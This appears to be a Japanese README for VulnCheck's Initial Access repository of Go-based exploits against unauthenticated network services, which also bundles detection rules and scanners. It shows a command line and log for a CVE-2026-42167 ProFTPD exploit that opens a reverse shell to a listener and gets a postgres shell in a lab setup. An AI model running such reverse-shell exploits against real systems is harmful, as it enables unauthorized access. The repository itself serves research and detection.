
ルーター、VPN、アプライアンス、IoTにおける未認証のネットワーク脆弱性を狙うGoベースのエクスプロイト集。PCAP、Suricata/Snort/YARA/Sigmaルール、Nmapスクリプトを同梱。
VulnCheckのInitial Access Communityリポジトリには、当社独自のInitial Access Intelligence製品およびコミュニティからの貢献によるエクスプロイトと関連アーティファクトが含まれています。Initial Accessの主な焦点は、ユーザー操作を必要としないネットワークベースの脆弱性であり、認証を必要としない脆弱性を強く優先しています。典型的なターゲットには、ルーター、VPN、セルフホスト型サービス(MobileIron、GitLab、Confluenceなど)、ネットワークアプライアンス、B2Bアプリケーション、IoTデバイスなどが含まれます。
エクスプロイトはVulnCheckのgo-exploitフレームワークを使用してGoで記述されています。可能な場合、エクスプロイトにはターゲットベリファイアとバージョンスキャナが含まれます。ただし、Initial Accessはエクスプロイトだけではありません。私たちは発見と検出も重視しています。エクスプロイトに加えて、可能な場合は以下も含めています:
エクスプロイトの設計については、go-exploitと同じガイダンスに従っています。go-exploitパッケージの概要を参照してください。
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - エクスプロイトと脆弱性固有のアーティファクトverification/ - 共有ターゲット検証コードshells/ - 共有シェルおよびペイロードコードexamples/ - 新しいエクスプロイトを構築するためのテンプレートtools/ - プロジェクトのツールとユーティリティ